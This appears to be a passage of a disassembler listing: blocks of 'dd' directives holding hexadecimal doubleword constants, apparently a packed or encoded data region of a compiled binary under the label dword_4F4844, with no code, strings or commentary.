		dd 581FA600h, 0F50DD8F7h, 2199252Ch, 0EA048E7Ch, 0B6C5F425h
		dd 0FAA6812h, 0D287E990h, 5A56AB42h, 277B75C9h,	0C028912Dh
		dd 66036C2Ch, 292CF81h,	0ABC70A0Fh, 99A1E5EFh, 3C18F7F9h
		dd 6DE1FB0Ch, 65E36E1Dh, 1CC3F181h, 0C46A4CD7h,	6916EB10h
		dd 1B4647D1h, 0DFE2FA04h, 7F25C8Eh, 0BAB8BD7h, 5E8AB47Fh
		dd 4A6EAD68h, 7FB58021h, 799FE2DFh, 1C5D16A6h, 9DD92E3h
		dd 68FC6A8Ah, 0C886CD63h, 2DF726BCh, 307D4DDDh,	3F703C20h
		dd 8B3D092Eh, 9269FB4Eh, 4891D06Eh, 130B4778h, 89CF8DB8h
		dd 0BE80D58Fh, 765A9A35h, 0B102D4E1h, 39C1A726h, 0A955518Ah
		dd 59BB6027h, 24E0F35Ah, 0B46B2AEh, 27D01783h, 0CB4BA0F7h
		dd 26F965C7h, 1EB94B0Fh, 293AB187h, 0E9535CDAh,	7782425Eh
		dd 0FE7F6180h, 8A0A38CFh, 6819814Bh, 38D2B92h, 94440220h
		dd 0A80F4FFBh, 0FC7E9D3Ah, 0C6E34825h, 0E4D8BC87h, 8880EC8Ah
		dd 5C92C2Ah, 5E705F68h,	15A20A32h, 31B0609Dh, 82B0F7B3h
		dd 0DD095870h, 0DFE8305Bh, 7AB4666Eh, 0E921B5C0h, 2F88BE22h
		dd 0C077145Fh, 262DB926h, 3127192Ah, 98B45C8h, 0D2A595E9h
		dd 358A0009h, 5DF357FBh, 14C70125h, 29E9129Ah, 0D77A807Fh
		dd 0D595875Ah, 6F8C3438h, 6DC2F49Fh, 2F803A6Ah,	405EE950h
		dd 0B2005214h, 8E2C0DFh, 0C20AC280h, 8AE9050Ch,	0E779207Fh
		dd 60B9224Ch, 783B0C02h, 58956DFAh, 734C9573h, 3602A090h
		dd 29F41DD7h, 8A1C57FBh, 0D9802127h, 0C3B8275h,	0B9610908h
		dd 57F33A43h, 0C9767316h, 52F22E73h, 96E91698h,	0A293C15Eh
		dd 0A72EC1D3h, 982AE23Bh, 706853F8h, 62E13C94h,	0EE94B05h
		dd 0FAB4A490h, 212DF612h, 0E91655CEh, 59888038h, 0B14B6852h
		dd 212B40D9h, 0EECF1Fh,	9D696068h, 47FC0466h, 0F51DFA62h
		dd 9FB21837h, 2C5DC0A0h, 2A857B51h, 0B6FA4B12h,	0B9510041h
		dd 223F4092h, 56C90481h, 0C14D2319h, 0F059D279h, 0CE75296Fh
		dd 80C987B4h, 0AC0F4134h, 4668BD0Ah, 4D981EDAh,	1F59DCB0h
		dd 0FD79772Eh, 6508EF6Fh, 0B9574A9h, 4D24C8BAh,	45607241h
		dd 422C8086h, 0A3F22BE4h, 37BF815Ah, 0F1F2AF34h, 7B5FDAEBh
		dd 105D6B77h, 808444FFh, 6173CB80h, 0C57E333h, 0B4EEF1C3h
		dd 0A4DBAD7Fh, 590E50C1h, 0EB6E343Bh, 443134D1h, 18D2E528h
		dd 5AD6F5ADh, 3CEE214Fh, 132FE93Bh, 45B818DAh, 79B73E6Ch
		dd 1E40AA90h, 13CBDE2Dh, 0C55DE838h, 45519F7Fh,	0C90B7EC9h
		dd 6A5B5C69h, 33C80302h, 0E666E0C0h, 9DB4E806h,	0C682B65Eh
		dd 0E01F4EEEh, 815EF532h, 0FF050307h, 911DA760h, 0B3D15D7Dh
		dd 68FCC425h, 4258E90Bh, 0C3C15D38h, 22F53AEEh,	0F0D1FF01h
		dd 4E62D13Ah, 0C9747E3Ah, 96EDCD25h, 5B78B901h,	0EC813B91h
		dd 0F1254506h, 85E85CC0h, 0C4E889C6h, 1985AFCCh, 14D05A01h
		dd 0AB406AC4h, 60D3088Bh, 0E2A90C03h, 0AF909168h, 5F5C4B69h
		dd 0BA16ADF2h, 0E8E8D447h, 99049C14h, 0EA70C45Ah, 79A8AD71h
		dd 5252882Fh, 4268570Bh, 8558F134h, 0C8A2F3E9h,	629DC21Bh
		dd 0C76DF75Eh, 11E0BA17h, 0BACB045h, 50361FE6h,	0E3F54281h
		dd 28178CCh, 0CAE25CE8h, 2689D729h, 71B8D2BCh, 2BE1984Ah
		dd 202A983Eh, 82D0099Dh, 0D5B58EA9h, 85F6524Eh,	2C0FA894h
		dd 5125605Fh, 7CBB050h,	0E0C07C34h, 0D06AD308h,	73F24E12h
		dd 5FFE2E42h, 2B655F50h, 2F8C6D0Bh, 5E840CCBh, 3AFB9543h
		dd 5FEEC8AFh, 10265FBDh, 34B07D7h, 167AF849h, 0A0B4BA95h
		dd 0EE60121Eh, 6E7A50Dh, 17800C08h, 819032FFh, 0F250ED04h
		dd 0E9213113h, 78CC6667h, 549059h, 974251BEh, 0EABD554Dh
		dd 37A8241Eh, 5B00257Ch, 2FEA4EC0h, 0BE18E916h,	0CB1986B7h
		dd 0DD58EE9Ah, 0EBD8C1B3h, 54FCB892h, 0B522AB83h, 0F3E40238h
		dd 39A37C9Dh, 300C47Eh,	8952D245h, 21D897DAh, 0E5C273B1h
		dd 7D98E831h, 0FE15C442h, 3B0B137Bh, 348D7527h,	0B69E03Dh
		dd 54924F91h, 1202DB0h,	42288F14h, 81B316E9h, 0C10C7A1h
		dd 0E86F4757h, 9EE9849Fh, 68026FFDh, 3F7555C7h,	5169675h
		dd 9F2D8AC9h, 8113853Dh, 2028A1AEh, 0D394C83Dh,	82BB5912h
		dd 0D35FA07Ch, 0E0FFA5A4h, 5F052A98h, 0FBB87Dh,	4CFC748Ch
		dd 9557BBE9h, 6BE7AC18h, 599E6495h, 418FE835h, 19BA04D0h
		dd 2680D17Eh, 7F18520Fh, 26C72C47h, 341640C6h, 350E5C3Dh
		dd 0E37E1A7Fh, 2FBE37E9h, 85785D3Eh, 8855043Ah,	66C89BDh
		dd 0B2592EDh, 1F34933Fh, 0E06FF587h, 815D1367h,	31BE775Ch
		dd 0D5F75722h, 0EA04572Ch, 828C4ACEh, 60AB128Bh, 0DD08DBF9h
		dd 0AD68016Ah, 2B6F7C23h, 83DCFA42h, 5D2A4090h,	335F014Eh
		dd 2268D301h, 0F0312A61h, 10F152ADh, 97496770h,	0D48920DDh
		dd 14CCB4Dh, 66E3BB53h,	3F3178EDh, 64B54D81h, 2A1ECD6Eh
		dd 735C63C2h, 0AFD292C3h, 5B89B183h, 0FAA585A9h, 0BF8E5244h
		dd 0E0D54FF5h, 0EF30A03Ah, 97AD5A9Fh, 463065F0h, 0EBC227A9h
		dd 57F2776h, 2D921CFFh,	744052E9h, 18164ABBh, 4010FF3h
		dd 0E67296Dh, 41F2B87Fh, 80912E08h, 0A4529255h,	0A4347171h
		dd 85400883h, 0D5272428h, 6701DEE7h, 9A7FE9BBh,	9F5FA57h
		dd 8A01CF2Dh, 5C84082h,	68DD078Bh, 7086E91Ah, 0C9DC9D34h
		dd 5D2DF153h, 29CC417Bh, 7832E046h, 3805721Dh, 7FE94566h
		dd 0FBAC2FD4h, 9F50ACD0h, 36809D6Ah, 846E9FBAh,	0F3EA83A0h
		dd 744B7703h, 1DE565E9h, 0C0355EB8h, 2D7EF675h,	203C7CA6h
		dd 1D9499F1h, 66A5F40h,	0A24149B1h, 0B72EDB00h,	20F7811Eh
		dd 4E8B0436h, 0A33CB1E9h, 6EC60541h, 0CA843764h, 0CCDD6BEh
		dd 0F6D9DA97h, 9A9FBA1Ah, 4A39FAB2h, 0CF5CB9ACh, 1EB68556h
		dd 4BE7DBAEh, 67D56FAh,	2FB1B51Fh, 456EE51Fh, 0E209C4A6h
		dd 972594D2h, 30741EFDh, 0ED454767h, 492F54E6h,	4E885551h
		dd 0CDE90408h, 77CEEF8Fh, 0C8B7445Ah, 9FBB0082h, 0E2A1B50h
		dd 1841E381h, 0B114F278h, 8FEC7B5h, 501D7B84h, 4797768Ch
		dd 0F86E14D1h, 164F8A13h, 0F116B020h, 985B0B40h, 0F80A4A02h
		dd 0E9EAC29Ah, 49F58DBh, 33185C2Dh, 80A3AA2Fh, 0D864FF4Ah
		dd 0B171BCBBh, 0A77FB67Eh, 0D6F25FE4h, 0E05E0E81h, 82E92B03h
		dd 0C550CEE2h, 446E6817h, 78524A32h, 861F3202h,	3B40E66Fh
		dd 0F4B304Ch, 0D48EB0Dh, 7C5AE93Ah, 0CBBB564Bh,	46E44B78h
		dd 0C4B30753h, 3146EB80h, 0E5E9FDE3h, 0B56492BBh, 5B44B51Eh
		dd 0F881CDFEh, 892F2D91h, 52B93B1Ch, 0BDAF5CCCh, 6541A000h
		dd 0E9DDF70Ah, 798B974Dh
		dd 0B5D67D5h, 0F160ADE9h, 8769D0F7h, 0E32DC0A9h, 5FF4BFBCh
		dd 206144CBh, 0D8BF67EAh, 0F92124CFh, 43990877h, 10B56805h
		dd 0AD48D3E3h, 0B9127530h, 69906381h, 273D14Ch,	682752BDh
		dd 57897F4Fh, 8C0F8952h, 6BCBE149h, 0EFB9F7CFh,	0BAFE52A2h
		dd 4DCA9FDh, 29090A50h,	0F85C0970h, 6020E1Bh, 4DECB6F6h
		dd 0BB791271h, 6BC6B10Ch, 0F6C183D8h, 6760B031h, 72D71341h
		dd 0F17FA878h, 127F6B62h, 96F876A9h, 0CFDEFC64h, 53D29E5Ch
		dd 1251780Eh, 977CF6EEh, 8297A2CDh, 0C066F96Ch,	0C380CBFEh
		dd 0B83FF4F9h, 0B52C74D3h, 1DAB1D6h, 783DE9D9h,	176C9650h
		dd 82DA5A9Ah, 425721BFh, 0E89D7B50h, 19B40093h,	58E96E16h
		dd 4C30654Eh, 2B7FCC35h, 0BC1D6A60h, 71C706E1h,	0E255F65Eh
		dd 0E907013Dh, 0E835256Dh, 0BB50AF93h, 0DB695D71h, 0D5F75B01h
		dd 3DC02A43h, 5BA9B1DEh, 808EC5CFh, 768CBF8h, 0CF920A58h
		dd 561B75Ah, 40494BDh, 41AA3B88h, 4030543Dh, 0ED55902Eh
		dd 0C12E03E3h, 0A3263976h, 88505382h, 0B4B160F0h, 72BB7CEh
		dd 0BCBC85D2h, 31685C58h, 0BFC743C1h, 64B9009Bh, 16252E57h
		dd 68EE0260h, 5D2BD5C4h, 0FCF39FE1h, 673F0551h,	57720E2Dh
		dd 6FC2A038h, 28E91B44h, 94186E7h, 3E423958h, 5C8A07D7h
		dd 3C37514Bh, 0AC8A2817h, 6852A0DAh, 4D405011h,	91DB9ECh
		dd 9B605302h, 6CC4B198h, 680F84CBh, 0AF125E8Eh,	0FAD2F1CAh
		dd 96046CE3h, 0B01B271Fh, 7C267317h, 6E196710h,	31F2ADh
		dd 1057E22Eh, 5E2D20D2h, 0BF95E7D3h, 39FF5EF0h,	0F9B742C0h
		dd 0EFA48484h, 0B6470D31h, 5ACCB800h, 409FDB98h, 0E139F035h
		dd 4C8CB66Fh, 0F5A23174h, 0E81D6322h, 8FC46DACh, 0BB139974h
		dd 151BE741h, 0CE821D2Ch, 43F12D48h, 0F52D1B54h, 40C58987h
		dd 0E917BF0Bh, 99C59A5Bh, 33E854FBh, 8173351Dh,	0C73057CBh
		dd 0E9617E67h, 21371671h, 0CF50E982h, 8927175h,	0C105651Ah
		dd 6AC107E7h, 0FE304704h, 4E819839h, 2E10B1FEh,	74852984h
		dd 0A83E92F1h, 8087E40Fh, 64087100h, 5118170Dh,	3EF90627h
		dd 6BED9B17h, 0DED02322h, 42F29B9Ch, 96E1305Eh,	6D9F9D3h
		dd 0E719363Dh, 22C62BFCh, 6FB04B69h, 7A353169h,	3F3F5D24h
		dd 5B938340h, 0C14F6F63h, 0E65918CFh, 0BCCFD81Fh, 2EC43D14h
		dd 0BDBB04C9h, 75FCAFCDh, 0EEAB24Bh, 4013A6B9h,	0B3BE5663h
		dd 6D2A0032h, 0A034F3BBh, 5EEA291Ah, 0E301C891h, 4C2732A8h
		dd 10A4E1DBh, 0C29CEA4h, 0C3F90DCBh, 4A2D3205h,	0E6528305h
		dd 0E9CF30AFh, 5D9137BEh, 3CE89393h, 0AC6CC912h, 0AFA0C531h
		dd 0EB3C24AEh, 4458E3E7h, 8BB2E909h, 914A817Eh,	0DBA8AA02h
		dd 0A17FEFEh, 82A7F5B6h, 1C78FBC9h, 0FA78175h, 9020F8A5h
		dd 81629C51h, 9D4DB9EAh, 2F48823Fh, 0F7123731h,	40870A8h
		dd 0A3544D68h, 3B1B41A5h, 7940E3E1h, 6A26A7h, 0EACD8169h
		dd 0E933DF3Dh, 9654562Dh, 7B42906Eh, 4D94246Ah,	0C9CA01F3h
		dd 2E65D012h, 0ABE92BC2h, 6EB58D5h, 6D3FD7EAh, 32070C63h
		dd 291E1364h, 806B6CDh,	5D14800Ch, 90292DE9h, 0BD450659h
		dd 638AE4FAh, 0A14BB540h, 63347ABh, 4C7E5827h, 0B4AEED58h
		dd 0CD84642h, 0E01A60BFh, 5F0D7149h, 73500089h,	3170A203h
		dd 0D73C05BDh, 0F7812591h, 307B2B79h, 0C717A6AAh, 1A2D5A75h
		dd 0EF0E4125h, 0F1B80845h, 0A82ED504h, 94B18050h, 34284E24h
		dd 3A25E601h, 4ED3515Fh, 614C49FFh, 0ABF99257h,	0C29374E7h
		dd 4E5D4061h, 6DA38059h, 6B362808h, 0FFEA9DB7h,	0D7D15942h
		dd 0BB7C16BCh, 680989B3h, 9B4412F9h, 786484F0h,	0ACBEAE6Bh
		dd 0C4EBD7C7h, 0B171EAACh, 0AE2F5158h, 307C072Ch, 0E7942D17h
		dd 0FC1768DDh, 0AF06873Bh, 4889972h, 0EA8036B2h, 372FC214h
		dd 7C4CBADFh, 0FB9A7033h, 69E056B5h, 26757300h,	0D0BF03C7h
		dd 60B00CE2h, 400E07E3h, 0EBB3E91Ah, 0C2C6C234h, 92AF5F1Bh
		dd 22309609h, 24965F68h, 50D3E962h, 0C3302DE2h,	0EE787FE8h
		dd 4F895780h, 0ECEDA1C7h, 7D95ABD8h, 0ADB2AD10h, 2EB5511Ch
		dd 25E9E802h, 389B5DE6h, 59D5E1EAh, 0CE6860BEh,	725C230Eh
		dd 78BB0295h, 0D73FC739h, 4114F720h, 8A033FEh, 0C708660Ah
		dd 55C0105h, 229C9EE9h,	71DD506Ch, 0D4E7BB0h, 4D2580F8h
		dd 0C5C04442h, 7F583E71h, 0CA626390h, 0B8B34B92h, 6DEB3788h
		dd 0A8478FD2h, 633F8766h, 0BC5BD806h, 28F96B8h,	3FF3C1CAh
		dd 2F492D8Fh, 0DA5448EFh, 0F283074Fh, 0E5D1E35Dh, 0CCF581E8h
		dd 0ED347A63h, 33131F06h, 0ECE2A50Ch, 0E7211BC2h, 6A05FB68h
		dd 5B8BCEF2h, 801F010Ah, 2AF9BA52h, 54B71886h, 8BE947A3h
		dd 2EC4ECD8h, 8DFB5C3Ch, 12DE936Dh, 7D762AD2h, 8559280Bh
		dd 7CF04F64h, 0FAEB5F83h, 0B001B52Dh, 79327A25h, 2F740992h
		dd 0E0AF1456h, 486E4DCAh, 3B106567h, 7F64899Ch,	288C7C71h
		dd 0C14B3630h, 0DE38AADEh, 88F13A01h, 5D433CD0h, 8405E29h
		dd 93E9135Ah, 8E6BDDD1h, 9756D74h, 0D7AF0019h, 133A4B6Bh
		dd 0E423BCE9h, 4C604AEAh, 1311CD2Fh, 0CB4E509Fh, 0C45E095Bh
		dd 71D5554Dh, 0C2BE7804h, 0C02F5827h, 0B148F93h, 54E976EDh
		dd 5A4D6A78h, 105DCFEDh, 0CAB25925h, 77951546h,	7BBA08B0h
		dd 6CD4203h, 0D6EEE94Ah, 0C3F70A93h, 8EFCB61h, 0C10001A5h
		dd 4C2D06E8h, 0A7B93EE0h, 32050EA5h, 602BFB52h,	86C6809h
		dd 2F01E931h, 5BE99ECCh, 0BAF7C566h, 16C44CA2h,	0FDBA0060h
		dd 1721987Fh, 0BF5AD689h, 0B1575093h, 8C3AB414h, 305FB39Fh
		dd 701725E3h, 0E03C45D0h, 0E7878202h, 0C42D5F05h, 0A957DCFCh
		dd 307E339Ch, 67AB90Ah,	5C60652Dh, 12E97023h, 5E0E049Fh
		dd 37963DEFh, 69EA0258h, 0C14C650Ah, 0C00464EFh, 49011A87h
		dd 9226748h, 2447F50h, 54A7B639h, 0A899BBF3h, 3BBD30AAh
		dd 0EB29DC44h, 0D0C30780h, 1D0D0F1Fh, 0E81EF301h, 8E91608h
		dd 0B1FDD0EDh, 4B2A02E2h, 0CD5FA901h, 5C5EA509h, 0CF858C2h
		dd 14C7CF8h, 3292C74h, 468C762h, 20918152h, 508F847h, 3C58FC77h
		dd 42BF2D74h, 8A47517Ah, 0A4303146h, 0D34B1355h, 2F4AA9EAh
		dd 0EC920AF9h, 0AF25B98h, 0EC24338Dh, 0D7956DCCh, 0E72DC196h
		dd 3798FDA2h, 1DC54D55h, 65C8EAEFh, 0BE8E3BEDh,	560F24FBh
		dd 5DD1406Ah, 5CBD335Eh, 0D8F78B98h, 1BDB4800h,	2BDB9ECh
		dd 7FC76E28h, 50976479h, 819490EAh, 8EFC84CFh, 4C565126h
		dd 0D40A2502h, 2569443Eh, 0E66094Eh, 0F696EE60h, 4CF5664Ah
		dd 37000818h, 0E9074FEAh, 6ECBD3F0h, 3800FD58h,	321CF381h
		dd 7930333Bh, 0FC457E04h, 9804B7Fh, 5B3A50CAh, 19B8A0h
		dd 6852575Ah, 5833225Ch, 0C744EF4Dh, 9D58B558h,	0CBBED49Fh
		dd 0F221B1F5h, 0AF4EAE38h, 735C1428h, 0A11149E9h, 0ECEE540Ah
		dd 0A180088Fh, 4DB1B800h, 2521278Dh, 5DDA58C3h,	570A026Ah
		dd 2410963Dh, 7BEA4700h, 1F6A490Eh, 52E9DA01h, 103AA393h
		dd 0B5165E07h, 9D0CBEAFh, 4F0128EDh, 2D8AF3E7h,	0D50A4241h
		dd 0DFC29471h, 2075C4ADh, 1289734h, 0B22FE0F2h,	693F7CC6h
		dd 275FE675h, 0EAC1288Ch, 1666E68Eh, 2DC8CC97h,	0B8DC88D4h
		dd 1C4FB2D8h, 0C516CA80h, 0BE88F2EAh, 6EF6D6C4h, 0A1A4E985h
		dd 25EB2F8Ch, 8568E047h, 0AC2DDEE8h, 216B8289h,	4BA3DCB2h
		dd 914F5A06h, 560D43A0h, 0BF2AA903h, 95704798h,	6C2104BAh
		dd 685A0194h, 0CC2E6623h, 6D4887BEh, 4B68C255h,	5E67A567h
		dd 0F0BBB2BAh
dword_4F4844	dd 0B7B294E9h, 15D08CDCh, 5DFEFF5Dh, 688437EFh,	29D826F1h
		dd 3D1B598Eh, 4295184h,	23E02DE9h, 0E05A4B5Fh, 2C12C139h
		dd 75B447C7h, 5C3F409Eh, 7B6D5997h, 1865F258h, 355C8E08h
		dd 8C451DB5h, 986B5E73h, 7DEB5847h, 0A92DAFBAh,	6423575Ch
		dd 50024F63h, 2A331EB8h, 3E07F628h, 0ABAB3196h,	9BB22077h
		dd 629ADCA3h, 0C9765457h, 82CC3670h, 66A43D60h,	0D7150825h
		dd 19AD7C48h, 5F054225h, 6FCC1586h, 744E687Ch, 95DF63A8h
		dd 8101A0F1h, 86098CCBh, 6B91203Ah, 0D98CA64Ah,	4C141720h
		dd 892A00Fh, 0AB6F95B1h, 0A09FD15Ch, 2E7E9819h,	2EE9683Ah
		dd 2DC981EAh, 2E011247h, 0CD067ECh, 0BCC85D25h,	2FE12FB6h
		dd 88B494F9h, 7E905E52h, 0B231B5Ch, 0AA59E956h,	0A53B3FAFh
		dd 0BCE5D07Ah, 805DE982h, 0EE13414Fh, 61E92F7Ch, 7CB986D0h
		dd 13AF5944h, 223DEB60h, 4124A5A8h, 4CBE0272h, 62BAF0C8h
		dd 54DFB92Dh, 5AB2A035h, 0EB541640h, 70346949h,	0F1313F6Dh
		dd 0A4BA8393h, 3940F5F2h, 0F4E2C05Fh, 8174C17Ah, 408FF21Ch
		dd 504A4344h, 2DB70780h, 28526082h, 4CB86A1Ch, 0F73142B5h
		dd 3404AD43h, 34C070B0h, 90A7C7EAh, 342A2CEh, 1AED235Fh
		dd 65280B06h, 360C1C79h, 18193D37h, 0F6AE0913h,	642F89C4h
		dd 57C3244Ch, 47FD6805h, 0B7C2643Eh, 4BD80988h,	11BD95F2h
		dd 0C42E6E5Bh, 0B4A9E831h, 0BE8564BFh, 63F78B61h, 0E1E4CC7Bh
		dd 579D2EBAh, 0C0E98FB3h, 2E0D72E2h, 99120787h,	0C86947E2h
		dd 0F1D6E35Dh, 1B35761Dh, 0EE8A132Fh, 251FA88h,	1388BF57h
		dd 0BD6A6384h, 1739F454h, 6DAC6F35h, 0C1A2ABE4h, 0C74B806h
		dd 48209631h, 7F00A266h, 709D1266h, 20B99009h, 82FC4DD5h
		dd 57858BBFh, 0FEB59D1Eh, 0E0BBC5AFh, 69020587h, 480C0A0Dh
		dd 0F114E12Dh, 0CD3AF56Eh, 0CF7D60D5h, 0E35FF082h, 0BC856C92h
		dd 0E3FB84F3h, 0EB805B01h, 0ECD3C1D5h, 69BDF7CFh, 3671DF75h
		dd 9D8C30E8h, 400EBEFBh, 99EF123Dh, 0E9A92ED4h,	0CC2B378Bh
		dd 0F7569277h, 2B3F92C9h, 0CB4F0FECh, 0F86B2ABAh, 79079E80h
		dd 89E22D9Ch, 146FECFEh, 9A1C1668h, 4ABDBBC0h, 0E91A2AE3h
		dd 0E0F57BF3h, 134263A6h, 8B5E1435h, 97454E66h,	6CEBA3D6h
		dd 81F1E9D5h, 80D7F6D3h, 0EFCC6BC7h, 0AA02FAA9h, 25A980B3h
		dd 0A03F7717h, 0A2090487h, 0A042DD45h, 47A86279h, 93C48E09h
		dd 2405F24Fh, 85AEA754h, 0C02D5DEAh, 5441762h, 7E6AAA03h
		dd 0E5D02912h, 1128071Fh, 9B0AE918h, 18C9EE87h,	0C289406h
		dd 642E762Eh, 1D150B20h, 3F7F829Ah, 69576139h, 0EB52172Ah
		dd 425752DCh, 0E1F14FBFh, 7549A31Bh, 2AB9D10h, 27E1ED81h
		dd 0CD6760A9h, 0AA18164Fh, 4703FA47h, 0C1CB614h, 7F516324h
		dd 0C15FE6FEh, 4EDE4CF8h, 0AE17773Ah, 2C723269h, 43427E24h
		dd 0CD0FC3D8h, 0C23CB8BBh, 0E2D9312Dh, 49565791h, 7E9A66EFh
		dd 0BF681616h, 7EE1E35Ch, 5A06292Fh, 0FE01044Ch, 0BEDBF6CBh
		dd 0F107A2B9h, 0B05BD830h, 11B252D0h, 0E4055F97h, 0B7630102h
		dd 0F4FD8879h, 0EA4B085Bh, 80CF8CAAh, 0F6B8E20Eh, 99C2A2D2h
		dd 56725F30h, 0DBE86BA2h, 7031EEEFh, 839118C9h,	0C5E8C852h
		dd 0E95FB165h, 0AE853B47h, 93218ABEh, 0E9A043ACh, 74BFE0C2h
		dd 1C7542F6h, 2601A5Dh,	0DD9CCA8Fh, 4A03D47h, 4A61D598h
		dd 8F78089h, 10345FE5h,	1410BBDh, 79D9311Dh, 60B702Ch
		dd 16B7F8CEh, 0CC34D068h, 590777F4h, 19E92B91h,	0EA880998h
		dd 429D4796h, 2BDC5FCEh, 0EAE8C197h, 5AB6D210h,	31C345B0h
		dd 0AE0B7193h, 7F29E962h, 118F7AD7h, 27582466h,	0A17A0322h
		dd 443C54B9h, 90D584C9h, 485D8660h, 0EA02C19Ah,	0DA3322B1h
		dd 0AA50AAC2h, 0EB01F3BDh, 64529AFFh, 4489F35Ah, 5594A6B0h
		dd 0DF9531F6h, 32F364A0h, 8F97149Ah, 6D34816Dh,	0E9D868D7h
		dd 0D54D2C51h, 0F7726FFh, 0AE360250h, 88692C44h, 420FF116h
		dd 0F2D7A334h, 0D220F029h, 89ECE865h, 6AE1DF75h, 0B1266CEEh
		dd 8CFF95F8h, 695D9EEEh, 27D31318h, 0F859FD66h,	0F5A93889h
		dd 74D09398h, 0D4F6A7C5h, 403D1DFAh, 0F0B450D6h, 0F392E8E9h
		dd 1C5F0917h, 0D166D1BEh, 46BC6B71h, 810542C6h,	3F13FCFEh
		dd 4F12903Eh, 11E222FFh, 0C11F7658h, 83B907EEh,	3EF7AED7h
		dd 3D6C1001h, 37BD0457h, 6FC0A06Bh, 4037DCDh, 0E5C1492Dh
		dd 0D472C006h, 0B74F3F95h, 0A5AA8612h, 9AA341BCh, 1571266Eh
		dd 109F0B67h, 0C0589FFCh, 0BA6AEB13h, 35C03760h, 0FB4B5C83h
		dd 0F60DC437h, 0B0695ED6h, 0DDE2FF38h, 4952280h, 0C2957B9Fh
		dd 5C9942BEh, 0FBB70076h, 6859CF28h, 0A2D1CD5Eh, 75C25190h
		dd 3C1DBDFBh, 60EE5496h, 0ED68534Fh, 32162917h,	0EBC68CB2h
		dd 0C7F81FE9h, 90C15ABDh, 420DB668h, 30F9F4E6h,	997BB02h
		dd 9FE6608Ch, 0B22683F9h, 0C189F2FDh, 0EE1680E6h, 504B5AB4h
		dd 5A05EF29h, 6427E73Eh, 80026640h, 0CE630BEEh,	75E4F0D1h
		dd 74B9EB4Dh, 0F1C9245Ah, 0CE4E7EFCh, 10F52DAFh, 415450B9h
		dd 0E9878195h, 0BC3FD8CBh, 64AC9336h, 0AADF5872h, 5E5E0225h
		dd 0E4BBDCA5h, 32ACAB5Bh, 0C5B6E9F0h, 20BA56C0h, 0BF507B7Ch
		dd 0E48516FCh, 31830532h, 0F0AEDDC6h, 5F1A781Bh, 0F612EA61h
		dd 429792ABh, 237D6802h, 5800CD9h, 0F721EB75h, 0C604D0D7h
		dd 276FF503h, 9CE2E922h, 101AD3D5h, 31BF4E89h, 0A5279E09h
		dd 79B3581Ch, 887D2652h, 31B28F7Fh, 6E07DA6Bh, 81F23421h
		dd 7E5AD0D9h, 0C3A439B8h, 0C399C8AEh, 0DD0C80C6h, 0C0B75351h
		dd 0ECAF26E9h, 375AA730h, 0B3F1B76h, 51532C02h,	5DBB0581h
		dd 0B13F61FCh, 0E907012Fh, 40EF6C1Eh, 2DC154D5h, 0B786D85Ah
		dd 9C67C7FCh, 5B1E6083h, 0AC987985h, 5A3DE292h,	0DD4AA818h
		dd 0DDA4CAB5h, 0C27CE787h, 325EFB5Eh, 0C41C6624h, 0E167D20Fh
		dd 0C62EBF6h, 0B2070220h, 25580237h, 66165B78h,	173CC740h
		dd 44141E5Bh, 6EF1126Eh, 64812550h, 69E0A6BCh, 53AC002Dh
		dd 980D2A50h, 2E982017h, 0B6009575h, 58C50133h,	1685657h
		dd 27D725D4h, 28B7E95Eh, 568827E0h, 0ABF85B74h,	0E919C728h
		dd 5C788A86h, 0AE2FAA2Bh, 55130749h, 8CD12154h,	0DDCB7F51h
		dd 5EF6FC7Bh, 8998B293h, 594577E8h, 7EC62D3Eh, 8DD06B84h
		dd 7C248D7Dh, 0F3149B5Ch, 98E66207h, 6F29036Eh,	46755DDAh
		dd 4B68FEE3h, 0A19DEAF2h, 362E1D3h, 1AD1F92Ah, 7D286443h
		dd 7CBF8436h, 0CE6C5A93h, 0EB52ECDFh, 4AD0BA5Eh, 57B1257Ah
		dd 0A925C872h, 656DBA69h, 2C8A89Bh, 14035C4Fh, 0AD41CF01h
		dd 0F71A8367h, 0DCC283DAh, 0EA052FFCh, 817F2806h, 0FC4D36FAh
		dd 1C5AE963h, 92BCF612h, 837AF8B5h, 17BFA4E9h, 0E31D65AFh
		dd 0B89C3F8Dh, 0D0EACB8Dh, 0E09E789h, 0C1134D0Bh, 0F1E287EFh
		dd 0AFDEC5DBh, 5216CCC5h, 2E68C1CCh, 276C1906h,	12CBCED6h
		dd 0D55BDF0Dh, 9CCB5244h, 0AF9D5449h, 7B1F9340h, 88269A25h
		dd 0DE2D0765h, 0BBD8170Bh, 0F21D4E09h, 0AFC350AEh, 0F3AAA097h
		dd 934804F0h, 0AB65E9DCh, 66127B17h, 0C631F2EBh, 5F79AD6h
		dd 0B92050C1h, 0FBD1EE19h, 1D825FD7h, 49D386EAh, 553DDFE0h
		dd 110ACDD3h, 46BD575h,	5B05A075h, 6997AB2Dh, 19D730E7h
		dd 0FD251CAEh, 0E905E5CFh, 0A0EC7B48h, 813AFFA1h, 5DCCBA77h
		dd 0DCDB6DD3h, 69178191h, 842BF97Fh, 0C2BD1368h, 4F316F86h
		dd 0A748EA82h, 69277674h, 59C6DC21h, 4BE43886h,	0CADF13A2h
		dd 26335DAh, 2329065Fh
		dd 400162D2h, 89D918A3h, 0EE605AD3h, 900C9CD8h,	51E31204h
		dd 659889AFh, 6DF32E6Bh, 3A32B14Ah, 64345BCBh, 7621C248h
		dd 0D0BAD1C9h, 44001516h, 6EC9E281h, 29E975FDh,	286139D0h
		dd 31195AECh, 2B875F47h, 84BA1974h, 0C4FF812Eh,	0BB5F0790h
		dd 53AF2DB1h, 0F5D4C861h, 49DB78BAh, 9AD84B5Bh,	889D40BBh
		dd 953C4C95h, 6020C2F8h, 0C8829522h, 53F55681h,	4A772522h
		dd 0C093B267h, 54A3219h, 0AEE92C55h, 2AB7AEF1h,	0D99C319h
		dd 2C8CEDC8h, 0C330A1B0h, 0A275A86Ah, 9D8461E5h, 0EAD6B439h
		dd 0AFEA3281h, 19E11C34h, 737A6668h, 0D40BDE8Bh, 602A01F2h
		dd 0F58111E5h, 540DAF26h, 31494FDBh, 3918B590h,	985630BDh
		dd 25759586h, 97ACEA20h, 0FF31AE18h, 0A40584C7h, 0F80192CAh
		dd 4AA5D7B0h, 681F7148h, 0C98D3FC2h, 0A6BEC305h, 0D5BF9347h
		dd 5A73EA60h, 0BB250177h, 6D5E1C72h, 0BDC1A281h, 60DAF302h
		dd 544B0A95h, 0BDF28ADh, 0A0D18D59h, 62618B55h,	0C522DCF8h
		dd 69EDD44Ah, 0C1C83A45h, 4E78B8E0h, 4E5CF870h,	4888FAFh
		dd 8493E947h, 23423C8h,	68545725h, 0F69814D3h, 41160BBDh
